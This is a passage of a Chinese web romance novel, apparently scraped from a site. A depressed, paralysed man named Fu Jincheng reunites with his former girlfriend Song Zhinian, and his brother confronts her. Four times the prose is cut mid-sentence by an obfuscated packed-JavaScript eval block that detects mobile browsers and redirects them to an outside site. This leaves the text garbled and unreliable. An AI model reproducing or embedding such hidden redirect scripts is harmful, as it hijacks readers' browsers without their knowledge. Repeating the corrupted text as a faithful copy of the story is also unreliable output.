中间的灯是房间内的地脚灯,只能让人模模糊糊地看清房间的布局,以避开那些路中间的障碍物。 床帘拉得死死的,就连灯都这么暗。 长期在这样黑暗的环境之中,先不说能不能养好身体,光这么躺几天,就连心情都会受到影响。 宋知念不由自主地皱了皱眉:“其他灯不开了吗?” “先不开了。” 谢医生用余光瞄了一下垃圾桶的位置,确认已经不会被宋知念看到后,这才解释道:“他现在不喜欢太亮的环境。” “那你们也不能这么由着他长期待在黑暗里。”宋知念的话语明显带了些责备的意思。 谢医生没有怎么在意,他连连应声赔着笑脸,却反手关上了病房的门。 见房门合上,谢医生脸上的笑意立刻消失了。 他确认了一下垃圾袋里的碎片,这才看向一直坐在护士台后的值班护士。 “刚刚又犯病了?” 护士点点头。 “唉。”谢医生看向病房边的姓名牌,喃喃道: “我以为······” 在观察宋知念的这几天,傅瑾承的情绪一直都控制得很好,就连食欲都好了不少。 “要约心理科的陈医生吗?”值班护士问。 谢医生点点头,走到护士台边,拿起其他病人的病历,翻阅着叮嘱道:“让陈医生明天早上有空的话过来看一下吧。” · 顺着地脚灯昏暗的灯光,宋知念小心翼翼地穿过了外间。 房间之中时不时传来仪器的声响,滴答滴答的,在这昏暗的环境之中更让人心下不安。 宋知念踏进内间,呼唤道: “傅——” 她才刚刚出来了一个音节,忽然,一个瓶子从她的身边飞过,狠狠地砸在地上,发出“咚”的一声。 宋知念被吓了一跳,忍不住往后退了几步。 借着昏暗的灯光,她只能看到病床上鼓起的被褥,和因为刚刚向她扔了瓶子而有些微微颤抖的手。 她有些后悔了。 早知道这样,刚刚怎么都要让谢医生和她一起进来。 他们已经分开了三年,这三年傅瑾承究竟遭遇了什么、究竟经历了什么、究竟变成了什么样的人,她没有一件事情是知道的,也根本无法在这么短的时间之内辨别清楚。 宋知念清晰地知道,她根本不了解现在的他。 既然这样。 “那……” 宋知念用手扶着墙,咬了咬自己的下唇。 “傅瑾承,你好好休息,我先走了。” 她转了身,打算离开病房,却听到黑暗中传来了不属于仪器的喘息声。 伴随着那喘气的声音,她听到了傅瑾承近乎哀求的话语。 “求求你,别走……” 宋知念猛然回头。 他的语调之中带着浓浓的悲伤,是宋知念听不懂的悲伤。 “我知道是幻觉,但是……” 刚刚还在颤抖的手此时已经死死地抓住了床边的栏杆,手指关节因为用力紧绷得发白。 “念念,求求你,陪我待一会儿。” 他想要起身拉住她,但是即使再怎么努力,他也只能用手臂撑起自己的上半身。 体位性低血压来得理所当然却又来势汹汹。 宋知念被他的粗暴的动作吓得一惊,快走几步上前,将自己的手覆在他的手背上。 借着旁边监护器的光线,宋知念已经能够隐隐看清他紧闭的双眼,和脸上冒出的冷汗。 和即使这样,还在喃喃着让她不要走的话。 可无论宋知念怎么和他说话,他似乎都听不进去,沉浸在自己的情绪之中。 好在,他没撑一会儿就脱了力,瘫倒在被褥之中。 背部和被褥的碰撞让他的理智清醒了一瞬,他睁开眼,模模糊糊看到了站在旁边的人。 又是幻觉吗? 傅瑾承有些迷茫。 在医院的无数个日夜之中,他总是能在深夜睁眼的时候看到坐在他床边的宋知念。 她总是这样安静地坐着,静静地看着他,脸上带着担忧。 可每一次,傅瑾承想要去拉住她、想要让她多陪自己一会儿,都只能看到她留下的决绝背影。 他唤她,他叫她,却只能看到门口骤然亮起的灯光,和值班医生或是值班护士惊讶的目光。 傅瑾承总是那个时候才知道,自己眼前的是幻觉。 可那样也可以了。 他好累好累,他连呼吸都是累的,他感觉自己的灵魂和身体在被一片汪洋大海所吞噬,而他早已经提不起力气去和海洋抗衡。 就这样沉溺下去吧。 他想。 “你感觉还好吗?” 面前傅瑾承的目光明显有些不对,他像是在看着她,却又不是在看着她。 那种目光带着悲伤、带着痛苦却又带着莫名的释然和空洞,这令宋知念有些担心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236336|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她从床头柜上抽了张纸巾,一一将他鬓间的冷汗拂去。 就那么一眼扫过,宋知念就看到,原本放在床头柜上的玻璃杯和药品已经完全不见踪影。 而那些东西的遭遇,或许就如同此时还躺在地面上的那个药瓶一样。 “傅瑾承?” 宋知念又呼唤了他几声,见他还是没什么反应,便收回手,将纸巾放在床头,决定先去喊谢医生进来看看。 她正准备起身,却没想到手腕被人突然拉住,那身后的一股力让她压到了床边的护栏上。 “别走。” 他的声音之中带着沙哑和疲惫,她顾不得揉自己撞到的后腰,先弯腰去看他。 他像是刚刚从水中挣脱出来的溺水者一样,刚刚擦完冷汗又冒了出来,但是神色却清明了不少。 “你还难受吗?” 他一直拉着她的手腕不放,宋知念只得单手将护栏放了下来,坐回到了床边的椅子上。 傅瑾承没有回答,只是盯着她,从头开始看。 他看得很仔细,从头到尾的,和刚刚的迷茫不同,此时他专注得令宋知念有些瑟缩。 “不是幻觉。”他突然认真地说。 “什么?”宋知念有些没听清。 他却没有重复,只是冲着她笑,笑着笑着,眼泪却又从他的眼尾之处流下。 像是完全控制不住。 傅瑾承的情绪状况明显有问题。 宋知念大学选课的时候选过普通心理学,对一些基础的情绪问题和情绪发展有一些了解,她本来单纯地以为,傅瑾承的崩溃和情绪的变化,都是因为身体的原因。 可像傅瑾承现在这样的情况,她在上课的时候也只在老师说自己心理辅导的案例的时候提到过。 手抖、心慌、情绪无法控制乃至于现在的即使在落泪却还是在笑的模样,都令宋知念在封存的记忆之中渐渐捡起回忆。 这是…… 宋知念猛然想起来了什么,她安抚似的拍了拍傅瑾承的头,拿出手机,飞快地找到一个聊天框,单手敲击了几个字,毫不犹豫地点击发送。 随后,宋知念将手机丢到一边,她干脆坐到床头边,在傅瑾承流着泪的注视下,用手捂住傅瑾承的眼睛。 “没事的,想哭就哭出来吧。” 宋知念有些不敢去想这三年他的经历,他和三年前的他有很大的区别。 他的身体、他的精神都像是被重重地击垮,却又在这里喘着气流着泪痛苦地坚持着。 他没有出声,但是那些泪水顺着她的掌心落下。 湿热的,从她的指缝间争先恐后地涌出来。 不知道是不是因为被傅瑾承的情绪所影响,宋知念也感觉自己的眼眶有些发酸。 她眨了眨眼,压下了自己眼中的热意。 放在被单上的手机震动了一下,宋知念看到了谢医生的回复。 他们刚刚在楼下加了微信,而id叫作谢黄堡的谢医生给宋知念的答案却是肯定的。 谢黄堡:是的。 谢黄堡:他有抑郁症状。 心中的猜测得到了确定,宋知念却只感觉自己的胸口都有些酸涩感。 她轻轻哼着跑了调的曲子,等着他冷静下来。 “我在你旁边,别怕。” 9. 第 9 章 傅瑾承平静下来的时候,先看到的是床头柜上的台灯。 他在这里住了这么久,却几乎没有注意到过这盏灯。 那是一盏黄色的小床头灯,就连灯光之中都带着几丝暖意。 医生和护士一般不会打开这盏灯。 傅瑾承猛然意识到了什么,他抬手按下了调高床头的按键,却只让自己看到了早已经空旷的病房。 “呵……” 床头的升高令他的大脑感到一片的眩晕,挣脱出水面的精神疲惫感已经影响到了他的身体。 不用看镜子,他都知道自己现在是什么模样。 苍白、虚弱、无力。 “还真的是难看啊……” 傅瑾承无力地扯了扯嘴角,哑声道。 他最近半年控制得很好,已经很少会陷入这样极端的状态。 可是在她在的时候,在他最不想发作的时候,却是那样直接暴露在了他的面前。 他已经努力控制了很久,无论是身体的问题,还是精神的状态。 他本来是想在自己带着最好的状态去见她。 可是,却事与愿违。 那些不堪,那些他最不愿意让她看到的一幕,却全部展露了出来。 他已经什么都没有了。 他的梦想早在那一天就已经宣告了终结,他的尊严早在那一次次任人摆弄之中就已经荡然无存,他的自信在那一次次的连坐都坐不起来的绝望之中被击垮的粉碎。 那股溺水感始终死死地掐着他脆弱的神经,像是想要拖着他再一次沉入那片无垠的深海之中。 就在他想放任自己沉沦的时候,门突然被人打开了。 随后响起的是一阵熟悉的脚步声。 他听得出来,这是谢医生的走路声。 傅瑾承将被子拉了拉,将自己的半张面孔隐于被下。 “醒了?” 谢医生走到床边,见傅瑾承把自己半挡不挡的模样,倒也没说什么,只是将自己手中的保温盒放到床头柜上。 “醒了就吃些东西,还有十分钟你的晚饭时间就快过去了。” 傅瑾承阖着眼,微微摇了摇头。 “不吃了。” 他每次发病之后就会浑身无力和食欲不振,加上本身身体机能的原因,有时候就连举勺子都会掉落。 而他又不喜欢让护工来喂,即使是拿吸管吸都还要守护着他那些可怜的自尊。 “你不吃正好,待会儿小傅总说要过来看你,这时间他也应该没吃饭。” 谢医生露出有些可惜的模样,作势要将保温盒拿走,声音中流露着惋惜: “就是可惜了宋小姐的一番好心,谁叫有些人不——” “等等。” 傅瑾承听到了谢医生的称呼,用手压下了被褥,终于愿意抬眼。 他看向谢医生手中的保温盒:“这是……” 这个保温盒和平时家中厨师和营养师送来的不太一样,最上面是一圈白黄色的花纹,复杂而不失典雅。 “哦,这是刚刚宋小姐让人送来的。” 谢医生抱着饭盒,像是一副要走的架势,他指了指保温盒解释道: “就是她们店里那个姓董的小姑娘送来的,说是晚上店里煮了些杂粮粥,给你也送过来一份,表示对你晕在店里的歉意。” 那盏床头的小灯正好打在白色的保温盒上,令原本乳白的保温盒上都染上了暖黄的光圈。 是她的啊。 傅瑾承的手指动了动,他的上下唇动了动,在谢医生了然的目光之中,还是道: “给我吧。” 他的手还是没有什么力气,只能让谢医生在盒子里面插了根吸管递到他床上的移动桌子上。 傅瑾承低头看了看面前的保温盒,他的手抬高了些,像是带着些小心翼翼地用指尖去触碰盒子。 保温盒的外部是用陶瓷做的,即使在空调房之中都略有些冰凉。 “别光顾着看保温盒了,”谢医生有些看不下去,他倒是没看出来这么个保温盒有什么好拿这种怀念又眷恋的目光去看: “又不是真人,你有什么好看的。” 谢医生把饭盒往傅瑾承这一侧推了推:“快吃点吧,不然待会儿过了时间又麻烦。” 傅瑾承顿了顿,拿起吸管,勉强吸了几口。 他说得没胃口也是真的,那杂粮粥吃进嘴内,甚至都没有怎么咀嚼,就这么滑进了他的食道里。 单吸了这么几口,他都觉得有些难受。 他挥了挥手,示意谢医生拿走。 谢医生推开那张移动桌子,将上面的饭盒收走。 整间病房之中再次变得一片寂静 “没有下一次。” 在寂静之中,傅瑾承按了按眉心,开口道。 他的声音之中还带着倦意。 谢医生一怔,转身看向病床上那位瘦弱的病人。 因为身体和精神接连犯病的原因,他现的状态甚至可以用“糟糕”两个字来进行概括。 可他的目光现在却依旧锐利,看得令谢医生都不由自主地一阵心慌。 他怎么能忘了,面前的这位病人虽然缠绵病榻之上,但是在那之前,这位病人也曾经是杭城金融圈子中最为看好的新秀。 “我知道你们想做什么。” 傅瑾承注视着谢医生的双眼,他没有错过谢医生眼中的慌张,他的手指一下一下地敲着床褥,慢慢地说: “但,没有下一次。” 谢医生和陈医生不可能不知道,他在犯病的时候总是会喜欢一个人待在病房之中。 而这一次让宋知念进入他的病房,也是两位医生的意见。 谢医生想要解释什么,他难得地有些慌乱道:“傅总,您。” 傅瑾承并不想听谢医生的解释,他抬起手指挥了挥,侧过了头望着窗边厚厚的窗帘,话语中的疲乏不加掩饰: “你先出去吧。” 房门被人小心地关上,床头的光并不刺眼,但他却还是用手捂住了眼睛。 那段仿若在梦境之中的温暖就是这样覆盖在他的眼上。 细嗅空气,他甚至还能闻到她留下的,隐隐的檀木茉莉花香。 他曾经让人买了和她同款的香水喷在房间之中,可是那些香味却只让他觉得反胃。 “念念,” 傅瑾承侧过脸背着光,他的面容一半在光下,一半在阴影之中。 “我好疼。” · 宋知念坐在二楼的窗边,临着窗看着旁边静静流淌着的京杭运河。 时隔千年,这条运河依旧繁华,游轮、货轮仍在这条运河上穿梭着。 时光总是会眷恋这些由人类创造出来的奇迹,而生活在当下的人,却被驱赶着、裹挟着、追逐着流逝的时间。 “念念姐,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236337|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找你。”楼下的董语冲着楼上喊道。 宋知念收回目光和思绪,她起身回应道: “来了。” 要找她的人正在楼梯下站着,宋知念扶着栏杆慢慢下去,也在一步步中辨认出了他的身份。 他长得和傅瑾承很像,薄唇高鼻,下颌分明,只有那一双眼睛不太一样。 傅瑾承是丹凤眼,有时候会有些不怒自威的凛冽感。 而面前的这个人却是一双桃花眼,眼中总是带着些笑意,令人分辨不出他的心中所想。 “你就是,傅祈安吧?” 宋时念握着栏杆,停在了离男子三四阶台阶上的位置。 她在恋爱之前就知道傅瑾承有个弟弟,有时候还在策划活动,她总是能看到傅瑾承放下手中的安排去一旁接电话的身影。 而每当接了那些电话回来之后,傅瑾承的面上总是会露出几分严肃。 那时候她就知道,傅瑾承有个难以管教还在读高中的弟弟,经常因为不认真听课、上课违纪、不做作业而被老师打电话告状。 在他们恋爱之后,傅瑾承和她说过,他的弟弟叫作傅祈安。 他和她说,等傅祈安高考好,就让他们见一面。 谁都没想到,这一面拖了三年。 “是的。” 面前的傅祈安微微颔首,嘴角勾起,露出脸颊上的两个小酒窝。 他似乎并没有傅瑾承话中那般难以管教。 宋知念知道,傅祈安是为了傅瑾承才来的。 “我到窗边等你。” 她指了指一楼屏风后的位置:“你想要喝什么自己去点就好。” 傅祈安的性格比他哥看着就活泼一些,一副自来熟的状态,一个点餐就能哄得店里涉世未深的两个小姑娘心花怒放。 令宋知念忍不住扶额。 她最近这店,生意都是老样子,倒是老友已经接待了不少。 傅祈安是带着两杯饮品过来的,一杯是他自己的冰美式咖啡,一杯是给宋知念的果茶。 宋知念接过饮品,道了谢,这才看向面前的男孩子。 她读大二的时候这个孩子还在高三,一晃眼,他应该已经大学了。 “你和你哥哥口中的你,倒是不太相似。” 宋知念抿了笑,率先开口道。 傅瑾承口中的弟弟是个混世魔王型的人,每天不是在上房揭瓦就是在下地破坏的路上。 但是面前这个男孩,却完全像是个世家教养出来的继承人,彬彬有礼又不失矜贵。 “你倒是,和哥哥说得一样。” 傅祈安也在打量着她。 他早就已经知道她,甚至在四年前、在更早的时候,他就听到过哥哥提起这个名字。 在当时哥哥出了车祸之后,他曾经有无数次想来她面前质问她为什么不来,想把她绑了送到自己哥哥的床前,但是都败于自己哥哥的哀求。 “不要告诉她”“不要让她知道”“不要和她说”。 在他自己都痛得要上止痛泵的时候,都还拉着他的手,让他隐瞒自己的消息。 他曾经好奇,到底是什么样的女孩子。 直到这一刻,他才明白,那些支撑哥哥撑过痛苦,却又给他带来痛苦的人,到底是什么样的。 宋知念没有接话,她垂眸,搅了搅杯中饮料的封层,开口道: “你今天来,也是为了傅瑾承吧。” 10. 第 10 章 “是。” 傅祈安承认道。 他放下手中的咖啡,桃花眼中的笑意微微散去。 “我昨天晚上去看了我哥哥,他的状态并不算好。” “我到医院的时候,他已经睡着了。” 傅祈安处理好工作赶过去的时候时间已经到了八点。 平日里傅瑾承在这个时间还不会入睡,往往等他来了之后还能一起看点公司的报表和项目投标书,甚至状态好的时候还会帮他分析一下下一步应该怎么样去进行部门的人员调整。 但是昨天却不一样。 等他赶到的时候,傅瑾承早已经入睡。 而那间病房也已经不再是一片漆黑。 “他的床头一直亮着一盏灯。”傅祈安的手指握紧了杯柄,又下意识地松开。 床头的那盏暖色小灯依旧开着,空气之中的浮尘在昏黄的灯光之中虚虚沉沉的漂浮着。 在暖光之中,他看到了傅瑾承分外平静的睡容。 宋知念低头望着自己的饮品,她有些不确定道:“是他床头那盏小挂壁灯?” 傅祈安深深地望着她,想要从她的脸上窥探到她的心情。 “是的。”他说。 下方的冷饮已经被她搅动着看不清分层,水纹顺着吸管为中心不断地发出圆形的波纹。 那一圈一圈的微波被她的动作搅碎,却又再一次重组。 她知道那盏小灯,那是她在傅瑾承平静下来之后打开的。 “你知道的,他那种情况的人,往往睡觉都睡得不是很安稳。”傅祈安继续说道: “他现在每天晚上每隔两个小时就要翻一次身,每次一翻身都会把他惊醒。” 傅瑾承是高位截瘫,长期的坐轮椅、躺在床上,容易形成压疮,所以每隔两个小时,他的睡觉姿势都必须发生改变。 可就连翻身这个婴儿都会的动作,却都是练了几个月才堪堪能够自主完成,自主翻身后身体被褥的摆放更是难以完成。 护工是上下半夜轮流值班的,但是傅瑾承却是每一次都要感受着自己的身体被人摆动。 他从一开始的默默注视护工的翻身,到现在这般闭着眼接受,傅祈安不知道傅瑾承究竟是如何想的。 但是那些攥紧拳头的手,和颤抖的手臂肌肉,都在告诉傅祈安他们——他一直都是清醒的。 清醒的,感受自己是个残疾人的事实。 而昨天,也是傅祈安难得看到哥哥这样平静的模样。 “我以为他睡熟了,还想帮他关掉那盏小灯。” 傅祈安的语调像是一场冷静的陈述,但是他的目光却死死地落在她的面容之上。 她的眼眸被下垂的眼睑所遮,令傅祈安一时之间辨别不清她的情绪。 傅祈安的动作很快,但是就在整间病房陷入以往熟悉的黑暗的时候,傅瑾承却突然醒了。 他的意识应当还是在朦胧,说话都有些难以听清。 傅祈安听到了他下意识的话:“不要关灯。” 这是傅祈安第一次听到他这么说。 在之前更多的时候,往往都是他们劝说着傅瑾承开灯或者是拉开窗帘。 除了去复健室和来看她,在独自一人在病房的时候,傅瑾承只会一个人躺在黑暗之中。 安静的,有时候甚至连他的呼吸声都无法听见。 他就像是与这片黑暗融为了一体。 “我趁他没有完全清醒,问了他为什么。”傅祈安扯了扯嘴角:“你知道他说什么吗?” 面对着宋知念有些疑惑的目光,傅祈安像是想要看破她的伪装一样,径直盯住她的眼眸。 “他和我说,因为那是你开的灯。” 傅祈安看着面前宋知念平静的模样,嘴角的笑容都带上了些讽刺。 “多可笑啊,不是吗?” 宋知念知道傅祈安的未尽之言。 多可笑啊,仅仅是因为是你开的灯,即使会打扰到他的安眠,即使他已经习惯了黑暗,却还是会忍不住、下意识去追逐那一抹光亮。 “傅先生,”宋知念在傅祈安讽刺的目光下,终于开口。 她没有被傅祈安的语言所激怒,也没有因为傅祈安的话语而展现出对傅瑾承的怜悯、抑或者是担忧 宋知念很平静,平静到她能听到自己的声音,甚至都能听到自己内心扑通扑通的心跳声。 “你的这句话,同样适用于三年前的我。” 她没有继续搅拌杯子,而是两手交握放在桌上。 这是下意识地防御姿态。 “我在那棵树下等了他一天,打电话不接,发消息不回,就连我的朋友、他的朋友、我们的老师,全部都劝我不要再继续等他。”宋知念笑了笑,看着面前男子的面上逐渐浮上疑惑: “我不知道你究竟误会了什么。”宋知念的脸上逐渐染上冷意。 “但现在看起来。你的哥哥,他应该没有对你说过,他让他的朋友代替他,对我说出了分手。” 傅祈安忽然感到有些不安,这些事情傅瑾承没有在他的面前提到过,他赶到的时候傅瑾承已经在抢救室之中昏迷了。 他问过医生,知道傅瑾承在救护车上还有短暂的清醒,但是救护车上的时候,跟在傅瑾承身边的只有顾书屿。 傅祈安也曾几次问过顾书屿关于傅瑾承在救护车上的状态,而顾书屿却从来没有细说过。 而面前的宋知念却还在说着,那些话一字一句地,扰乱了傅祈安的思绪。 “我的朋友说他背叛了我,我认为他没有,顾书屿也说没有,但是不论我怎么追问,顾书屿却从来没有告诉我他究竟发生了什么,他只告诉我,傅瑾承让我不要再等他,之后,任何他的事都与我无关。” “他的所有朋友都知道他发生了什么,所有老师或多或少也知道了什么,可是没有一个人告诉我。” 她的话字字哀怨,句句带怒,却偏偏还在克制着。 “傅祈安,你觉得,被蒙在鼓里的我可笑不可笑?” 可即使到了那个时候,即使到了周围同学朋友都用担心或者是怜悯的目光去看她,宋知念都没有相信学校内流传的那些他与其他女孩子私奔流言。 “傅祈安,你觉得,即使到了那个时候却还相信他的我,可笑不可笑?” 他消失的时光太久了,久到所有人都以为她忘记了他,久到她也以为自己已经忘却了那段感情。 但她可笑地发现,岁月愈合的伤口是如此的脆弱,仅仅是一个名字,都能将那道重新愈合的伤疤撕裂,露出下方的白骨。 年少的惊艳,却也是伤她最深的刀刃。 傅祈安张了张嘴,想要说些什么,但是最终,还是一声的长叹。 “对不起。” 他的哥哥没有在他面前提起过太多自己的感情。 而这些下意识的成见,或许是在看到哥哥一次次低喃着她的名字的时候就已经生下,或许是在一日日见证着那间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236338|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉浸在黑暗之中的病房之中就已经生下的。 傅祈安有些惭愧:“是我先入为主了。” 他以为面前的人背叛了自己的哥哥,以为是她才让傅瑾承一日日地自我折磨。 直到现在,他终于明白,为什么他每次和顾书屿提起宋知念的时候,顾书屿总是一脸的愧疚,为什么他一次次想要去质问宋知念,却总是被顾书屿拦下。 “我并不会原谅你对我的误解。” 宋知念没有接受他的道歉,她将身体靠到了身后的靠枕上,像是有些疲惫。 这是她在下逐客令。 傅祈安明白她的意思,但他还有些话想要说完。 他只能装作没看懂的样子,再次开口,只是这次开口,却是带着略微地讨好之意。 “知念姐,既然你已经去了医院,见到了他现在的模样,你应该已经猜到了他之前发生了什么事情。”傅祈安观察着宋知念的动作,生怕她再直接下逐客令。 像他们这种人家出来的孩子,翻脸的速度倒是比翻书都还快。 宋知念斜瞄了眼傅祈安,倒是没有阻止他继续说下去。 她知道傅瑾承出了车祸。 但也想知道,她昨天猜到的,是不是可笑的真相。 傅祈安有些小心翼翼道:“他是车祸受的伤,出事之后马上送到了医院,傅董调集了全省的专家,甚至派人去请了上海的专家过来会诊,光是手术都做了十几个小时。” “手术后又因为身体的原因加上并发症,在重症监护室里躺了几个月才出来。” 重症监护室是什么地方,那是一个分不清白天与黑夜,是一个每时每刻都在发出嘀嘀嗒嗒仪器声的地方,是一个随时都能听到抢救声的地方。 傅瑾承的心理问题,应该从那个时候就开始了, “他第二胸椎的脊髓损伤目前是不可逆的,从监护室里出来之后,他也进行了复健,但是效果……并没有特别理想。” 有时候傅祈安甚至都分不清,击垮傅瑾承的,到底是车祸本身,还是后面那一次次让至亲之人都不忍心目睹的复健过程。 宋知念听着傅祈安的解释,没有插话。 说来有些可笑,这个三年中都没有出现过的人,再一次出现之后,却能有这么多人来和她诉说他这三年过得多么的辛苦和不易。 “……他前段时间也一直在生病,换了季过冷过热都对他身体不好。” 傅祈安说了半天,见宋知念一句话都没说,忍不住问道:“知念姐,你就没有什么想问的吗?” 她有很多想问的,但是…… 宋知念垂着眼眸想了会,看似不经意地道:“问题啊,倒还真有一个。” “——他是什么时候出的车祸?” 这问题很简单,傅祈安甚至都没有怎么思考,下意识地回答了那个时间。 “三年前的九月二十六日。” 宋知念突然觉得有些想笑。 无论是她,还是傅瑾承,还有这三年的痛苦。 似乎是一场被命运捉弄的玩笑。 她一边听傅祈安继续说着,一边拿出手机,点开微信的顶置。 置顶的是一个空白头像,她给他的备注是阿承。 她和那个空白头像最后的一段聊天,就停留在了三年前的那一天。 【9月26日】 阿承:念念,如果你早到了就先去对面书店待一下,我马上就到了。 阿承:等我 11. 第 11 章 宋知念知道梦中的自己正行走在一片树林之中。 周边都是雨后湿润的泥土气息,那些树已经许多年了,长长的树枝垂下,时不时将留存在叶片间的积雨甩落至行人身上。 她来过这片树林许多次,甚至于她都能分辨得清哪些青石板上有青苔,而哪些青石板已经无法抵挡时间留下的裂痕。 宋知念走到了这片林子的尽头。 在那尽头之处,有一棵四百年的古树,学校将这棵树保护了起来,他们在树的周围安上了一圈的矮木栏,既防止人去破坏古树,又给了学生一处休闲之地。 宋知念一时不知道自己要做什么,她绕着树走了一圈,如同她无数次做过的那样。 似乎从那句“等我”之后,她就已经习惯了在这里等待。 一日日的,分不清在梦中还在现实。 即使她自己有时都觉得毫无意义,可是只有在这里,她才能感到一丝的安心。 有时候,她都快忘记了等待的意义, 宋知念坐到树下,仰头闭上眼睛。 林间的风吹过,混着草木的气息,她闻到了,鼻尖那一丝若有若无的苦艾味。 苦涩的,厚重的。 “念念。” ——她睁开了眼。 眼前是熟悉的房间,身边是静悄悄的一片,只有空调口还在尽职尽责地吹响着那细微的白噪音。 宋知念拿起手机看了眼时间。 02:34 宋知念关上手机,翻了个身,却无法再次入睡, 那声在梦中的呼唤声似乎还萦绕在耳边,而原本应该在深夜进入休息的大脑此时似乎并不愿意放过她。 曾经过去的一幕幕在她的脑中回荡着,脑细胞出乎意料地活跃着。 宋知念无奈地叹口气,翻身坐起。 她又失眠了。 从傅祈安来见她的那个晚上开始,她就开始失眠了。 一开始只是半夜惊醒,后来却又是梦魇,到最后就是重复着做着刚刚那个同样的梦。 每一次她都会在那人喊她名字之后惊醒,即使再一次入睡,也是不断重复着。 她没有再睡下去的想法,宋知念干脆起身,随手从沙发上拿过一条大方巾,披在自己身上避风,光着脚打开了窗台。 温热的肌肤和阳台的冰冷瓷砖接触着,那一瞬间的凉意直直地顺着皮肤钻入血管,最后冲于她的大脑之中,令她的思考越发的清晰。 杭城夏季的深夜,空气中依旧带着晨日间的燥热。 月色润玉,宋知念靠在窗台上,想起自己最后拒绝傅祈安请她多去看看傅瑾承的请求。 傅祈安来她的店里,质问她也是一点,但还有他更重要的想法,就是期望宋知念可以去医院多看看傅瑾承。 “我不会要求您做什么,您只要坐在当时等候您母亲的等候室就可以。”傅祈安进一步解释道: “只要他来回经过复健室的时候能看到您一眼,应该也就够了。” 年轻的掌权者毫不掩饰自己对于哥哥病情的焦急,甚至也愿意为了哥哥,来找他误解了三年的“背叛者”。 只因为她的存在是可以改变傅瑾承现状的唯一。 但是宋知念拒绝了。 傅祈安是知道了她有未婚夫的这件事情,他虽然已经派了人去调查,但是结果还没出,他也不能轻易下定论。 “是因为担心您的未婚夫?如果是因为担心他误解的话,我可以去和他谈。”傅祈安狠了狠心,有些焦急道: “您只要坐在医院的等候室就可以了。” “傅先生。”宋知念垂下眼眸,淡淡地说: “我的答案,依旧是拒绝。” 她的手上用了力,将杯中用吸管打造出的波纹一一戳散。 傅祈安还想进一步劝说她,却被宋知念打断。 “傅先生,我想有一点,你可能理解错了。”宋知念扔下吸管,抬眸看向傅祈安: “我拒绝你的请求,不是因为任何人。” “那是因为什么?”傅祈安有些不解:“如果您担心的是您的店或者是——” 他的话在宋知念轻轻地摇头中渐渐停止。 “都不是这些。” 傅祈安疑惑,他突然想到了一个可能,他小心翼翼地问道:“那是因为您······恨他吗?” 宋知念扑哧一笑,看向面前的男孩子。 他虽然已经开始接手了家中的事务,但是到底还是年轻。 未成年之时一心都在和哥哥对着干,而成年了之后,却要替哥哥顶替起他遗失的权力,在他的眼里,情与怨,爱与恨,都是极端对立的。 “我从来都没有说过,我恨你哥哥,也没有说过,我已经不再爱他。” 宋知念的嘴角勾着笑意,只是那笑意未进她的眼底,那爱意也未进她眼底。 傅祈安有些怔愣,他下意识地想大笑,可是却又在瞬间意识到了不对: “那为什么·····” 那为什么,即使是坐在医院这么简单的请求,宋知念都不愿意去做。 “也许是因为,当我再遇见他时,我已经忘记了重逢的意义。” 恨生于爱,而痛苦也生于回忆的欢愉。 “请回吧。” 又是一阵风吹过,树叶沙沙作响。 可能是进了下半夜的原因,风渐渐地大了起来。 但风中的躁意依旧令她心烦,宋知念拉了拉自己的披肩,准备回到房间。 下方围墙外的树影在月光下散落了一地,随着风在地上变换着。 而在那摇曳的变化中,却只有一处的阴影,始终不动。 宋知念随意一瞥,却又在想要离去的那一刻,硬生生地止住了脚步。 那是一辆车,车隐在树荫下。 宋知念家所在的小区是一个别墅区,只有住户的车才能开进小区,又为了保障每座别墅的环境,每个家门口的路都是独立的。 除了特意有人将车子停在这里,宋知念想不出其他任何的解释。 她的目光顺着车停滞的影子寻找着,宋知念不知道自己在寻找着什么,她的目光之中带着急迫与焦急,似乎想要下意识地证明自己的猜想。 当她分辨出在那团阴影的交界处的另外一道身影之后,她终于停止了寻找。 是他啊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236339|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 果然,还是他。 宋知念知道,傅瑾承就坐在那片阴影里,安静地看着她。 